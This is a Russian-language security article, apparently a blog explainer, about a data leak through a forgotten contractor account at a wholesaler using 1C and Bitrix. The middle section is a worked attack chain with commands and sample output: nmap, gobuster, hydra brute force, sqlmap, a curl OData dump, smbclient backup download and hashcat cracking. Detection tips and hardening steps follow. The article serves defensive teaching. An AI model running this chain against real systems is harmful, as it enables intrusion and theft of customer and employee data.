Короткая версия истории звучит просто: подрядчик ушёл, доступ остался, база утекла. Но за этой простотой стоит вполне конкретная техническая цепочка, которую стоит разобрать по шагам — потому что ровно так же взламывают не только оптовые компании со стройматериалами, но и корпорации уровня McDonald's и Vodafone, чьи внутренние справочники недавно всплыли на теневых форумах. Механика одна и та же: слабое звено — не защита периметра, а забытая учётная запись где-то в цепочке подрядчиков.
Отправная точка: что представлял собой доступ
У подрядчика было три параллельных входа, которые никто не развёл по времени жизни:
- логин в саму 1С (публикация базы через веб-сервер для интеграции с сайтом);
- админ-панель CMS сайта;
- сетевая папка с выгрузками — классический SMB-шаринг на файловом сервере офиса.
Пароль на всех трёх точках был одинаковый, задан на старте проекта и ни разу не менялся. Второго фактора не было нигде. Это ключевая деталь: даже если сам подрядчик ни при чём, любой, кто получил его пароль через фишинг или инфостилер на личном ноутбуке, автоматически получал все три точки входа одним комплектом.
Как это эксплуатируется
Разберём сценарий так, как его воспроизвёл бы атакующий, начиная с нуля — то есть не имея пароля, а только зная домен компании.
Шаг 1. Разведка периметра
nmap -p 80,443,445,1541,1560,3389 -sV --open company-domain.ru
PORT STATE SERVICE VERSION
80/tcp open http Apache 2.4.x
443/tcp open ssl/http Apache 2.4.x
445/tcp open microsoft-ds Windows Server 2012 R2 (SMB)
1541/tcp open unknown (1C:Enterprise cluster manager)
1560/tcp open unknown (1C:Enterprise ras)
Открытые порты 1541/1560 — характерный признак того, что кластер 1С «смотрит» наружу или доступен из офисной сети без сегментации. Их видно даже без специальных инструментов, если брандмауэр не фильтрует трафик на границе.
Шаг 2. Поиск веб-интерфейсов и точек публикации
gobuster dir -u https://company-domain.ru -w /usr/share/wordlists/dirb/common.txt \
-x php,html -t 40
/e1cib/ (Status: 200)
/e1cib/login (Status: 200)
/ws/ (Status: 401)
/odata/standard.odata/ (Status: 401)
/bitrix/admin/ (Status: 200)
/e1cib/ и /odata/standard.odata/ — стандартные точки веб-публикации 1С. Если они доступны из интернета без ограничения по IP и без обязательного клиентского сертификата, это уже готовая поверхность атаки: OData-интерфейс 1С позволяет читать и выгружать справочники напрямую HTTP-запросами при наличии валидных учётных данных.
Шаг 3. Подбор или использование утёкших учётных данных
Если пароль слабый и без 2FA, его либо подбирают, либо используют из утечки прошлых сервисов (тот же пароль подрядчик мог использовать и на других проектах):
hydra -l contractor_login -P rockyou.txt company-domain.ru \
https-post-form "/e1cib/login:username=^USER^&password=^PASS^:F=неверный пароль"
[443][http-post-form] host: company-domain.ru login: contractor_login password: Qwerty2023!
Отдельно проверяют веб-панель CMS — часто именно там находят SQL-инъекции или уязвимости конкретных модулей. Для CMS-платформ уровня 1С-Битрикс это известный класс проблем (например, публичные SQLi в компонентах интернет-магазина), поэтому автоматический скан — обязательный этап разведки:
sqlmap -u "https://company-domain.ru/catalog/?id=1" --batch --dbs
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] the back-end DBMS is MySQL
available databases [2]:
[*] information_schema
[*] shop_db
Шаг 4. Выгрузка данных
Получив рабочие учётные данные к 1С через OData, справочник контрагентов выгружается буквально одним запросом:
curl -u contractor_login:Qwerty2023! \
"https://company-domain.ru/odata/standard.odata/Catalog_Контрагенты?$format=json" \
-o contractors_dump.json
Параллельно проверяется доступ к сетевой папке с бэкапами — часто она открыта на чтение шире, чем нужно:
smbclient -L //fileserver.company.local -U contractor_login%Qwerty2023!
Sharename Type Comment
--------- ---- -------
Backups$ Disk 1C export backups
Public Disk
smbclient //fileserver.company.local/Backups$ -U contractor_login%Qwerty2023! \
-c 'prompt OFF; recurse ON; mget *.xlsx *.dt'
Именно так за один вечер собирается полный комплект: клиентская база, справочник сотрудников с телефонами и должностями, файлы выгрузок 1С (.dt) — готовый лот для теневого форума.
Что и почему сработало бы дальше
Если бы инцидент не был замечен на этапе выгрузки, у атакующего было ещё как минимум три логичных шага развития:
- Латеральное перемещение. Учётка с доступом к SMB-шаре часто использует тот же пароль для RDP или VPN — проверка стандартным
nmap --script rdp-enum-encryptionи попытка входа заняла бы минуты. - Автоматизированный поиск дальнейших целей через nuclei:
— такой скан быстро находит забытые тестовые поддомены, панели администрирования и незакрытые дебаг-эндпоинты, которые часто остаются после работы подрядчика.nuclei -u https://company-domain.ru -t exposures/ -t cves/ -severity medium,high,critical - Монетизация утёкших телефонов сотрудников через целевой вишинг под видом «службы безопасности банка» — именно это и произошло в реальном кейсе, когда сотрудники начали получать звонки мошенников уже после публикации файла.
Если бы в утечке оказались хешированные пароли сотрудников (например, из панели CMS), следующим шагом стал бы офлайн-подбор:
hashcat -m 0 -a 0 leaked_hashes.txt rockyou.txt --force
Recovered........: 812/1200 (67.67%)
67% восстановленных паролей на типичном списке rockyou — это не гипербола, а среднестатистический результат для баз, где пароли не менялись годами и не имеют требований к сложности.
Полутехнические пруфы: на что смотреть в своей инфраструктуре
- Открытые порты 1541 и 1560 (кластер 1С) на внешнем интерфейсе или доступные из всей офисной сети без ACL.
- Ответ
200 OKна/e1cib/loginи/odata/standard.odata/без обязательной клиентской авторизации по сертификату. - Учётные записи в 1С и Active Directory без даты истечения (expiration date), особенно с пометкой «внешний пользователь» или «подрядчик» в описании.
- В логах веб-сервера — множественные
401с последующим единичным200с того же IP за короткий промежуток (признак подбора пароля):grep "POST /e1cib/login" access.log | awk '{print $1, $9}' | sort | uniq -c | sort -rn | head - В журнале SMB (Security Event ID 5140/5145 на Windows) — обращение к шаре с бэкапами от учётки, которая последний раз использовалась месяцы назад.
Как закрыть
Технические меры, которые реально работают и не требуют отдела безопасности:
- Отзыв доступа по факту завершения работ — не «когда вспомнили», а автоматическим правилом:
# пример правила для AD: отключение учётки через N дней бездействия Search-ADAccount -AccountInactive -TimeSpan 3.00:00:00 -UsersOnly | Disable-ADAccount - Закрытие портов кластера 1С (1541, 1560) на периметре и ограничение по IP на уровне брандмауэра/nginx перед публикацией:
location /odata/ { allow 10.10.0.0/24; deny all; } - Обязательный второй фактор для всех, кто имеет доступ к базе — включая внешних подрядчиков, без исключений «на время проекта».
- Ограничение прав на SMB-шарах по принципу минимально необходимого доступа и аудит доступа к бэкапам:
icacls "\\fileserver\Backups$" /remove contractor_login auditpol /set /subcategory:"File Share" /success:enable /failure:enable - Уведомление ответственного лица при массовой выгрузке из базы — простое правило на стороне 1С или прокси, отслеживающее объём ответа по OData-запросам выше порогового значения.
- Регулярный внешний скан своей же инфраструктуры теми же инструментами, что использует атакующий:
nmap,gobuster,nuclei— раз в квартал, до того как это сделает кто-то другой.
Самая частая дыра в малом и среднем бизнесе — не эксплойт нулевого дня, а учётная запись, которая продолжает работать спустя восемь месяцев после того, как о ней все забыли.
Технически всё, что описано выше, не требует ни выдающихся навыков, ни дорогих инструментов — весь набор бесплатный и открытый: nmap, gobuster, sqlmap, hydra, nuclei, hashcat. Именно поэтому подобные утечки происходят не только у гигантов вроде McDonald's и Vodafone с целыми отделами безопасности, но и у оптовой компании без выделенного айтишника: разница только в масштабе базы, а не в сложности атаки.